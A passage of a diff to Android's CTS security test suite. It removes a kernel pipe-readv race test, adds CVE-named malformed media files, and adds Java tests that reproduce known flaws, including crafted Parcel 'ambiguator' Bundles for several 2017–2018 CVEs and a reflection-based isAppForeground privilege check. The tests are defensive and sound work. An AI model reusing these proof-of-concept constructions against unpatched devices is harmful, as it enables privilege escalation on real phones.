-     * set up to overflow iov[OVERFLOW_BUF] on non-atomic redo in kernel
-     * function pipe_iov_copy_to_user
-     */
-    bufs[OVERFLOW_BUF] = mmap((void*)(FIXED_ADDR), PAGE_SIZE, PROT_READ | PROT_WRITE,
-            MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
-    if (bufs[OVERFLOW_BUF] == MAP_FAILED) {
-        ALOGE("mmap fixed addr failed:%s", strerror(errno));
-        goto __close_pipe;
-    }
-    iovs[OVERFLOW_BUF].iov_base = bufs[OVERFLOW_BUF];
-    iovs[OVERFLOW_BUF].iov_len = IOV_LEN;
-
-    for (i = 0; i < BUFS; i++) {
-        if (i == OVERFLOW_BUF) {
-            continue;
-        }
-        bufs[i] = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
-        if(bufs[i] == MAP_FAILED) {
-            ALOGE("mmap failed in %d times:%s", i, strerror(errno));
-            goto  __free_bufs;
-        }
-
-        iovs[i].iov_base = bufs[i];
-        iovs[i].iov_len = IOV_LEN;
-    }
-
-    clock_gettime(CLOCK_MONOTONIC, &ts);
-    time = ts.tv_sec;
-    while (1) {
-        write(fd[1], bufs[0], PAGE_SIZE);
-
-        pthread_create(&thr_map, NULL, func_map, NULL);
-        pthread_create(&thr_readv, NULL, func_readv, NULL);
-
-        pthread_join(thr_map, NULL);
-        pthread_join(thr_readv, NULL);
-
-        bufs[OVERFLOW_BUF] = overflow_addr;
-        if (bufs[OVERFLOW_BUF] == MAP_FAILED) {
-            ALOGE("mmap fixed addr failed:%s", strerror(errno));
-            goto __free_bufs;
-        }
-
-        clock_gettime(CLOCK_MONOTONIC, &ts);
-        if ((ts.tv_sec - time) > TIMEOUT) {
-            ret = true;
-            break;
-        }
-    }
-
-__free_bufs:
-    for (i = 0; i < BUFS; i++) {
-        if (bufs[i]) {
-            munmap(bufs[i], PAGE_SIZE);
-        }
-    }
-
-__free_iovs:
-    free(iovs);
-
-__close_pipe:
-    close(fd[0]);
-    close(fd[1]);
-__out:
-    return ret;
-}
+#include <sys/uio.h>
 
 #define SHMEMSIZE 0x1 /* request one page */
 static jboolean android_security_cts_NativeCodeTest_doSysVipcTest(JNIEnv*, jobject)
 {
-    key_t key = 0x1a25;
-
 #if defined(__i386__) || (_MIPS_SIM == _MIPS_SIM_ABI32)
     /* system call does not exist for x86 or mips 32 */
     return true;
 #else
+    key_t key = 0x1a25;
+
     /*
      * Not supported in bionic. Must directly invoke syscall
      * Only acceptable errno is ENOSYS: shmget syscall
@@ -347,20 +58,6 @@
 }
 
 static JNINativeMethod gMethods[] = {
-    {  "doPerfEventTest", "()Z",
-            (void *) android_security_cts_NativeCodeTest_doPerfEventTest },
-    {  "doPerfEventTest2", "()Z",
-            (void *) android_security_cts_NativeCodeTest_doPerfEventTest2 },
-    {  "doCVE20141710Test", "()Z",
-            (void *) android_security_cts_NativeCodeTest_doCVE20141710Test },
-    {  "doFutexTest", "()Z",
-            (void *) android_security_cts_NativeCodeTest_doFutexTest },
-    {  "doNvmapIocFromIdTest", "()Z",
-            (void *) android_security_cts_NativeCodeTest_doNvmapIocFromIdTest },
-    {  "doPingPongRootTest", "()Z",
-            (void *) android_security_cts_NativeCodeTest_doPingPongRootTest },
-    {  "doPipeReadVTest", "()Z",
-            (void *) android_security_cts_NativeCodeTest_doPipeReadVTest },
     {  "doSysVipcTest", "()Z",
             (void *) android_security_cts_NativeCodeTest_doSysVipcTest },
 };
diff --git a/tests/tests/security/jni/android_security_cts_SELinuxTest.cpp b/tests/tests/security/jni/android_security_cts_SELinuxTest.cpp
deleted file mode 100644
index c7975ec..0000000
--- a/tests/tests/security/jni/android_security_cts_SELinuxTest.cpp
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <jni.h>
-#include <nativehelper/JNIHelp.h>
-#include <nativehelper/ScopedLocalRef.h>
-#include <nativehelper/ScopedUtfChars.h>
-#include <selinux/selinux.h>
-
-#include <memory>
-
-struct SecurityContext_Delete {
-    void operator()(security_context_t p) const {
-        freecon(p);
-    }
-};
-typedef std::unique_ptr<char[], SecurityContext_Delete> Unique_SecurityContext;
-
-/*
- * Function: getFileContext
- * Purpose: retrieves the context associated with the given path in the file system
- * Parameters:
- *        path: given path in the file system
- * Returns:
- *        string representing the security context string of the file object
- *        the string may be NULL if an error occured
- * Exceptions: NullPointerException if the path object is null
- */
-static jstring getFileContext(JNIEnv *env, jobject, jstring pathStr) {
-    ScopedUtfChars path(env, pathStr);
-    if (path.c_str() == NULL) {
-        return NULL;
-    }
-
-    security_context_t tmp = NULL;
-    int ret = getfilecon(path.c_str(), &tmp);
-    Unique_SecurityContext context(tmp);
-
-    ScopedLocalRef<jstring> securityString(env, NULL);
-    if (ret != -1) {
-        securityString.reset(env->NewStringUTF(context.get()));
-    }
-
-    return securityString.release();
-}
-
-static JNINativeMethod gMethods[] = {
-    { "getFileContext", "(Ljava/lang/String;)Ljava/lang/String;",
-            (void*) getFileContext },
-};
-
-int register_android_security_cts_SELinuxTest(JNIEnv* env)
-{
-    jclass clazz = env->FindClass("android/security/cts/SELinuxTest");
-
-    return env->RegisterNatives(clazz, gMethods,
-            sizeof(gMethods) / sizeof(JNINativeMethod));
-}
diff --git a/tests/tests/security/res/raw/bug_110435401.mid b/tests/tests/security/res/raw/bug_110435401.mid
new file mode 100644
index 0000000..184ab1f
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_110435401.mid
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_33250932_avc.mp4 b/tests/tests/security/res/raw/bug_33250932_avc.mp4
new file mode 100644
index 0000000..ff6ce03
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33250932_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_36592202.ogg b/tests/tests/security/res/raw/bug_36592202.ogg
new file mode 100644
index 0000000..868e630
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36592202.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_37430213.mp4 b/tests/tests/security/res/raw/bug_37430213.mp4
new file mode 100644
index 0000000..618f620
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37430213.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_64710074.mp4 b/tests/tests/security/res/raw/bug_64710074.mp4
new file mode 100644
index 0000000..5544ffe
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_64710074.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_68664359.mid b/tests/tests/security/res/raw/bug_68664359.mid
new file mode 100644
index 0000000..f816d82
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_68664359.mid
@@ -0,0 +1 @@
+DK:@~kkkkk
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/bug_70239507.aac b/tests/tests/security/res/raw/bug_70239507.aac
new file mode 100644
index 0000000..9132beb
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_70239507.aac
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_73552574_avc.mp4 b/tests/tests/security/res/raw/bug_73552574_avc.mp4
new file mode 100644
index 0000000..1cca70c
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_73552574_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_73552574_framelen.mp4 b/tests/tests/security/res/raw/bug_73552574_framelen.mp4
new file mode 100644
index 0000000..36728cc
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_73552574_framelen.mp4
@@ -0,0 +1,93 @@
+48
+4
+28
+208
+0
+10
+39
+386
+8
+70
+6
+32
+31
+4
+8
+24
+10
+22
+12
+108
+9
+229
+38
+12
+10
+166
+39
+250
+43
+8
+70
+6
+29
+12
+4
+8
+33
+12
+0
+10
+156
+10
+39
+94
+10
+39
+386
+8
+70
+6
+10
+31
+4
+8
+24
+10
+22
+12
+70
+9
+420
+0
+8
+36
+6
+12
+20
+31
+102
+229
+38
+12
+10
+156
+10
+39
+197
+251
+38
+12
+10
+156
+10
+180
+10
+39
+386
+8
+70
+6
+32
+31
+6441
diff --git a/tests/tests/security/res/raw/bug_74114680_ts.mp4 b/tests/tests/security/res/raw/bug_74114680_ts.mp4
new file mode 100644
index 0000000..10e20bd
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_74114680_ts.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_3756.ogg b/tests/tests/security/res/raw/cve_2016_3756.ogg
new file mode 100644
index 0000000..4f366b0
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_3756.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_3879.mp3 b/tests/tests/security/res/raw/cve_2016_3879.mp3
new file mode 100644
index 0000000..23ca4c3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_3879.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0696.mp4 b/tests/tests/security/res/raw/cve_2017_0696.mp4
new file mode 100644
index 0000000..651aeff
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0696.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13309_client.bks b/tests/tests/security/res/raw/cve_2017_13309_client.bks
deleted file mode 100644
index 6f450d3..0000000
--- a/tests/tests/security/res/raw/cve_2017_13309_client.bks
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13309_server.bks b/tests/tests/security/res/raw/cve_2017_13309_server.bks
deleted file mode 100644
index 384c4be..0000000
--- a/tests/tests/security/res/raw/cve_2017_13309_server.bks
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13309_trustedcert.bks b/tests/tests/security/res/raw/cve_2017_13309_trustedcert.bks
deleted file mode 100644
index 539d36e..0000000
--- a/tests/tests/security/res/raw/cve_2017_13309_trustedcert.bks
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_17773.mp4 b/tests/tests/security/res/raw/cve_2017_17773.mp4
new file mode 100644
index 0000000..09e32c9
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_17773.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_18074.wma b/tests/tests/security/res/raw/cve_2017_18074.wma
new file mode 100644
index 0000000..2634a4d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_18074.wma
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_18155.mp4 b/tests/tests/security/res/raw/cve_2017_18155.mp4
new file mode 100644
index 0000000..5765dbb
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_18155.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5874.mp4 b/tests/tests/security/res/raw/cve_2018_5874.mp4
new file mode 100644
index 0000000..f1656bf
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5874.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5875.mp4 b/tests/tests/security/res/raw/cve_2018_5875.mp4
new file mode 100644
index 0000000..c07d5d5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5875.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5876.mp4 b/tests/tests/security/res/raw/cve_2018_5876.mp4
new file mode 100644
index 0000000..7f656a4
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5876.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5882.flac b/tests/tests/security/res/raw/cve_2018_5882.flac
new file mode 100644
index 0000000..5089aea
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5882.flac
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5894.mp4 b/tests/tests/security/res/raw/cve_2018_5894.mp4
new file mode 100644
index 0000000..09720c6
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5894.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9423.mp4 b/tests/tests/security/res/raw/cve_2018_9423.mp4
new file mode 100755
index 0000000..08e2387
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9423.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2244.ts b/tests/tests/security/res/raw/cve_2019_2244.ts
new file mode 100644
index 0000000..9d03265
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2244.ts
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_devkeys_networkstack.bin b/tests/tests/security/res/raw/sig_devkeys_networkstack.bin
new file mode 100644
index 0000000..5c840e7
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_devkeys_networkstack.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_networkstack.bin b/tests/tests/security/res/raw/sig_networkstack.bin
new file mode 100644
index 0000000..8e325f3
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_networkstack.bin
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 5a65d41..113d7ea 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,18 +15,51 @@
  */
 package android.security.cts;
 
+import android.annotation.Nullable;
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
 import android.os.IBinder;
+import android.os.Process;
 import android.platform.test.annotations.SecurityTest;
+import android.util.Log;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+
 import junit.framework.TestCase;
 
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 @SecurityTest
 public class ActivityManagerTest extends TestCase {
 
+    private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+    private static CountDownLatch sLatch;
+    private static volatile int sNormalActivityUserId;
+    private static volatile boolean sCannotReflect;
+    private static volatile boolean sIsAppForeground;
+
+    private static final String TAG = "ActivityManagerTest";
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+
+        sLatch = new CountDownLatch(2);
+        sNormalActivityUserId = -1;
+        sCannotReflect = false;
+        sIsAppForeground = false;
     }
 
+    @SecurityTest(minPatchLevel = "2015-03")
     public void testActivityManager_injectInputEvents() throws ClassNotFoundException {
         try {
             /*
@@ -42,4 +75,117 @@
             // Patched devices should throw this exception
         }
     }
-}
\ No newline at end of file
+
+    public void testIsAppInForegroundNormal() throws Exception {
+        /* Verify that isAppForeground can be called by the caller on itself. */
+        launchActivity(NormalActivity.class);
+        sNormalActivityUserId = InstrumentationRegistry.getTargetContext().getPackageManager()
+                .getPackageUid(SECURITY_CTS_PACKAGE_NAME, 0);
+        sLatch.await(5, TimeUnit.SECONDS); // Ensure the service has ran at least twice.
+        if (sCannotReflect) return; // If reflection is not possible, pass the test.
+        assertTrue("isAppForeground failed to query for uid on itself.", sIsAppForeground);
+    }
+
+    public void testIsAppInForegroundMalicious() throws Exception {
+        /* Verify that isAppForeground cannot be called by another app on a known uid. */
+        launchActivity(MaliciousActivity.class);
+        launchSettingsActivity();
+        sLatch.await(5, TimeUnit.SECONDS); // Ensure the service has ran at least twice.
+        if (sCannotReflect) return; // If reflection is not possible, pass the test.
+        assertFalse("isAppForeground successfully queried for a uid other than itself.",
+                sIsAppForeground);
+    }
+
+    private void launchActivity(Class<? extends Activity> clazz) {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+
+    private void launchSettingsActivity() {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final Intent intent = new Intent(android.provider.Settings.ACTION_SETTINGS);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+
+    public static class NormalActivity extends Activity {
+
+        @Override
+        protected void onCreate(@Nullable Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+            Intent intent = new Intent(this, AppMonitoringService.class);
+            intent.putExtra(AppMonitoringService.EXTRA_UID, sNormalActivityUserId);
+            startService(intent);
+        }
+    }
+
+    public static class MaliciousActivity extends Activity {
+
+        @Override
+        protected void onCreate(@Nullable Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+            Intent intent = new Intent(this, AppMonitoringService.class);
+            intent.putExtra(AppMonitoringService.EXTRA_UID, Process.SYSTEM_UID);
+            startService(intent);
+            finish();
+        }
+    }
+
+    public static class AppMonitoringService extends Service {
+
+        private static final String EXTRA_UID = "android.security.cts.extra.UID";
+        private int uid;
+
+        @Override
+        public int onStartCommand(Intent intent, int flags, int startId) {
+            uid = intent.getIntExtra(EXTRA_UID, -1);
+            return super.onStartCommand(intent, flags, startId);
+        }
+
+        public AppMonitoringService() {
+            super.onCreate();
+
+            final Handler handler = new Handler();
+            handler.postDelayed(new Runnable() {
+                public void run() {
+                    try {
+                        ActivityManager activityManager = (ActivityManager) getSystemService(
+                                ACTIVITY_SERVICE);
+                        Field field = activityManager.getClass().getDeclaredField(
+                                "IActivityManagerSingleton");
+                        field.setAccessible(true);
+                        Object fieldValue = field.get(activityManager);
+                        Method method = fieldValue.getClass().getDeclaredMethod("create");
+                        method.setAccessible(true);
+                        Object IActivityInstance = method.invoke(fieldValue);
+                        Method isAppForeground = IActivityInstance.getClass().getDeclaredMethod(
+                                "isAppForeground", int.class);
+                        isAppForeground.setAccessible(true);
+                        boolean res = (boolean) isAppForeground.invoke(IActivityInstance, uid);
+                        if (res) {
+                            sIsAppForeground = true;
+                        }
+                    } catch (Exception e) {
+                        Log.e(TAG, "Failed to fetch/invoke field/method via reflection.", e);
+                        sCannotReflect = true;
+                    }
+                    sLatch.countDown();
+                    handler.postDelayed(this, 200);
+
+                }
+            }, 0);
+        }
+
+        @Override
+        public IBinder onBind(Intent intent) {
+            throw new UnsupportedOperationException("Not yet implemented");
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
index f8a2a8f..df1018a 100644
--- a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
@@ -32,6 +32,7 @@
      * Verifies that the device is not vulnerable to ANDROID-19270126: Android
      * BitmapFactory.decodeStream JPG allocPixelRef integer overflow
      */
+    @SecurityTest(minPatchLevel = "2015-03")
     public void testAllocateJavaPixelRefIntOverflow() {
         InputStream exploitImage = mContext.getResources().openRawResource(
                 R.raw.cve_2015_1531_b_19270126);
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index dc74708..e7126ed 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -22,6 +22,10 @@
 import android.os.BaseBundle;
 import android.os.Bundle;
 import android.os.Parcel;
+import android.os.Parcelable;
+import android.view.AbsSavedState;
+import android.view.View;
+import android.view.View.BaseSavedState;
 import android.annotation.SuppressLint;
 
 import java.io.InputStream;
@@ -33,117 +37,437 @@
 
 public class AmbiguousBundlesTest extends AndroidTestCase {
 
-    @SecurityTest
+    /*
+     * b/71992105
+     */
+    @SecurityTest(minPatchLevel = "2018-05")
+    public void test_android_CVE_2017_13310() throws Exception {
+
+        Ambiguator ambiguator = new Ambiguator() {
+
+            {
+                parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+                parcelledDataField.setAccessible(true);
+            }
+
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+                Random random = new Random(1234);
+                int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String key;
+                int keyHash;
+
+                do {
+                    key = randomString(random);
+                    keyHash = key.hashCode();
+                } while (keyHash >= minHash);
+
+                padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+                padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+                String key2;
+                int key2Hash;
+                do {
+                    key2 = makeStringToInject(random);
+                    key2Hash = key2.hashCode();
+                } while (key2Hash >= minHash || key2Hash <= keyHash);
+
+
+                Parcel parcel = Parcel.obtain();
+
+                parcel.writeInt(preReSerialize.size() + 2);
+                parcel.writeString(key);
+
+                parcel.writeInt(VAL_PARCELABLE);
+                parcel.writeString("com.android.internal.widget.ViewPager$SavedState");
+
+                (new View.BaseSavedState(AbsSavedState.EMPTY_STATE)).writeToParcel(parcel, 0);
+
+                parcel.writeString(key2);
+                parcel.writeInt(VAL_BUNDLE);
+                parcel.writeBundle(postReSerialize);
+
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                parcel.setDataPosition(0);
+                Bundle bundle = new Bundle();
+                parcelledDataField.set(bundle, parcel);
+                return bundle;
+            }
+
+            private String makeStringToInject(Random random) {
+                Parcel p = Parcel.obtain();
+                p.writeInt(VAL_INTARRAY);
+                p.writeInt(13);
+
+                for (int i = 0; i < VAL_INTARRAY / 2; i++) {
+                    int paddingVal;
+                    if(1 > 3) {
+                        paddingVal = 0x420041 + (i << 17) + (i << 1);
+                    } else {
+                        paddingVal = random.nextInt();
+                    }
+                    p.writeInt(paddingVal);
+                }
+
+                p.setDataPosition(0);
+                String result = p.readString();
+                p.recycle();
+                return result;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
+    /*
+     * b/71508348
+     */
+    @SecurityTest(minPatchLevel = "2018-06")
+    public void test_android_CVE_2018_9339() throws Exception {
+
+        Ambiguator ambiguator = new Ambiguator() {
+
+            private static final String BASE_PARCELABLE = "android.telephony.CellInfo";
+            private final Parcelable smallerParcelable;
+            private final Parcelable biggerParcelable;
+
+            {
+                parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+                parcelledDataField.setAccessible(true);
+
+                smallerParcelable = (Parcelable) Class.forName("android.telephony.CellInfoGsm").newInstance();
+                biggerParcelable = (Parcelable) Class.forName("android.telephony.CellInfoLte").newInstance();
+
+                Parcel p = Parcel.obtain();
+                smallerParcelable.writeToParcel(p, 0);
+                int smallerParcelableSize = p.dataPosition();
+                biggerParcelable.writeToParcel(p, 0);
+                int biggerParcelableSize = p.dataPosition() - smallerParcelableSize;
+                p.recycle();
+
+                if (smallerParcelableSize >= biggerParcelableSize) {
+                    throw new AssertionError("smallerParcelableSize >= biggerParcelableSize");
+                }
+            }
+
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+                // Find key that has hash below everything else
+                Random random = new Random(1234);
+                int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String key;
+                int keyHash;
+
+                do {
+                    key = randomString(random);
+                    keyHash = key.hashCode();
+                } while (keyHash >= minHash);
+
+                // Pad bundles
+                padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
+                padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
+
+                // Write bundle
+                Parcel parcel = Parcel.obtain();
+
+                parcel.writeInt(preReSerialize.size() + 1); // Num key-value pairs
+                parcel.writeString(key); // Key
+
+                parcel.writeInt(VAL_PARCELABLE);
+                parcel.writeString("android.service.autofill.SaveRequest");
+
+                // read/writeTypedArrayList
+                parcel.writeInt(2); // Number of items in typed array list
+                parcel.writeInt(1); // Item present flag
+                parcel.writeString(BASE_PARCELABLE);
+                biggerParcelable.writeToParcel(parcel, 0);
+                parcel.writeInt(1); // Item present flag
+                smallerParcelable.writeToParcel(parcel, 0);
+
+                // read/writeBundle
+                int bundleLengthPosition = parcel.dataPosition();
+                parcel.writeInt(0); // Placeholder, will be replaced
+                parcel.writeInt(BUNDLE_MAGIC);
+                int bundleStart = parcel.dataPosition();
+                for (int i = 0; i < INNER_BUNDLE_PADDING; i++) {
+                    parcel.writeInt(414100 + i); // Padding in inner bundle
+                }
+                parcel.writeInt(-1); // Inner bundle length after re-de-serialization (-1 = null Bundle)
+                writeBundleSkippingHeaders(parcel, postReSerialize);
+                int bundleEnd = parcel.dataPosition();
+
+                // Update inner Bundle length
+                parcel.setDataPosition(bundleLengthPosition);
+                parcel.writeInt(bundleEnd - bundleStart);
+                parcel.setDataPosition(bundleEnd);
+
+                // Write original Bundle contents
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                // Package crafted Parcel into Bundle so it can be used in regular Android APIs
+                parcel.setDataPosition(0);
+                Bundle bundle = new Bundle();
+                parcelledDataField.set(bundle, parcel);
+                return bundle;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
+    /*
+     * b/62998805
+     */
+    @SecurityTest(minPatchLevel = "2017-10")
+    public void test_android_CVE_2017_0806() throws Exception {
+        Ambiguator ambiguator = new Ambiguator() {
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+                Random random = new Random(1234);
+                int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String key;
+                int keyHash;
+
+                do {
+                    key = randomString(random);
+                    keyHash = key.hashCode();
+                } while (keyHash >= minHash);
+
+                padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
+                padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
+
+                String key2;
+                int key2Hash;
+                do {
+                    key2 = makeStringToInject(postReSerialize, random);
+                    key2Hash = key2.hashCode();
+                } while (key2Hash >= minHash || key2Hash <= keyHash);
+
+
+                Parcel parcel = Parcel.obtain();
+
+                parcel.writeInt(preReSerialize.size() + 2);
+                parcel.writeString(key);
+
+                parcel.writeInt(VAL_PARCELABLE);
+                parcel.writeString("android.service.gatekeeper.GateKeeperResponse");
+
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+
+                parcel.writeString(key2);
+                parcel.writeInt(VAL_NULL);
+
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                parcel.setDataPosition(0);
+                Bundle bundle = new Bundle();
+                parcelledDataField.set(bundle, parcel);
+                return bundle;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
+    /*
+     * b/73252178
+     */
+    @SecurityTest(minPatchLevel = "2018-05")
+    public void test_android_CVE_2017_13311() throws Exception {
+        Ambiguator ambiguator = new Ambiguator() {
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+               Random random = new Random(1234);
+               int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String key;
+                int keyHash;
+
+                do {
+                    key = randomString(random);
+                    keyHash = key.hashCode();
+                } while (keyHash >= minHash);
+
+                padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+                padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+                Parcel parcel = Parcel.obtain();
+
+                parcel.writeInt(preReSerialize.size() + 1);
+                parcel.writeString(key);
+
+                parcel.writeInt(VAL_OBJECTARRAY);
+                parcel.writeInt(3);
+
+                parcel.writeInt(VAL_PARCELABLE);
+                parcel.writeString("com.android.internal.app.procstats.ProcessStats");
+
+                parcel.writeInt(PROCSTATS_MAGIC);
+                parcel.writeInt(PROCSTATS_PARCEL_VERSION);
+                parcel.writeInt(PROCSTATS_STATE_COUNT);
+                parcel.writeInt(PROCSTATS_ADJ_COUNT);
+                parcel.writeInt(PROCSTATS_PSS_COUNT);
+                parcel.writeInt(PROCSTATS_SYS_MEM_USAGE_COUNT);
+                parcel.writeInt(PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE);
+
+                parcel.writeLong(0);
+                parcel.writeLong(0);
+                parcel.writeLong(0);
+                parcel.writeLong(0);
+                parcel.writeLong(0);
+                parcel.writeString(null);
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+                parcel.writeInt(1);
+                parcel.writeInt(1);
+                parcel.writeInt(0);
+
+                for (int i = 0; i < PROCSTATS_ADJ_COUNT; i++) {
+                    parcel.writeInt(0);
+                }
+
+                parcel.writeInt(0);
+                parcel.writeInt(1);
+                parcel.writeInt(0);
+
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+                parcel.writeInt(1);
+                parcel.writeInt(VAL_LONGARRAY);
+                parcel.writeString("AAAAA");
